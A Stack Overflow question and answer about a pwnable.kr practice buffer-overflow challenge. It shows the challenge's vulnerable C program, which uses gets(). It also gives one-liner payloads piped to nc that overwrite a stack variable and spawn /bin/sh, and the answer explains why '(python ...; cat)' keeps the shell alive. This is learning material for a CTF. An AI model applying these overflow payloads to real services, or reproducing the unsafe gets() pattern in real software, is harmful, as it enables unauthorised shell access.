what is the difference between "python -c 'print' " and "(python -c 'print'; cat)" in linux

2

I usually use "python -c" to pass arguments to C program.

Like this:

$ python -c 'print "a" * 12' | ./program

but when I execute a BOF practice program pwnable.kr/bof, the

python -c 'print'

and

( python -c 'print'; cat )

work differently.

  1. I wrote a exploit code like this:

    $ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
    

    but it didn't work, so I found stack_canary value.

  2. $ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
    

    but it still didn't work

  3. So I found other people's write up

    $ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
    

    This exploit code successfully executed /bin/sh

Why this 3. exploit code passes stack canary and what is the difference between python -c 'print' and (python -c 'print'; cat) ?

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
   }
 int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
 } 

bof.c source

$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000

* stack smashing detected *: /home/bof/bof terminated overflow me :

Nah..


$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000

overflow me :

Nah..


$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

successfully execute /bin/sh

python
c
linux
reverse-engineering
cracking
asked on Stack Overflow Jan 26, 2019 by won heo • edited Jan 26, 2019 by KamilCuk

2 Answers

2

Take a look at the accepted answer for this question, it does a pretty good job explaining this.

https://reverseengineering.stackexchange.com/questions/11777/how-to-effectively-bypass-gcc-stack-smashing-detection

answered on Stack Overflow Jan 26, 2019 by Rens Althuis
1
cat /dev/null | /bin/sh

This will run /bin/sh shell (and abuse cats, but will leave them for a moment) and the shell /bin/sh will immediately close without writing anything. /bin/sh runs an interactive shell, but as the standard input of the shell is closed (either by <nothing> | or by </dev/null) the shell detects that the input has ended (it reads EOF) and exists immediately.

Now let's complicate the example:

$ cat <<EOF >bof.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
     // bla bla bla 
        system("/bin/sh");
}
int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
}
EOF

$ gcc bof.c -o bof
$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof

The ./bof program calls system("/bin/sh") if stack smashing was successful. But the shell /bin/sh would try to still read standard input. As there is nothing more to read (as the input python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' ended) it will read EOF and exit immediately.

To write a string from a program and then allow the input to be interactive again, you can use a subshell with cat:

 ( printf "\x11\xbe\xba\xfe\xca" ; cat )

This will first run the printf command, then run the cat. cat will read from standard input after printf ended, so the console will act as an interactive again.

answered on Stack Overflow Jan 26, 2019 by KamilCuk

User contributions licensed under CC BY-SA 3.0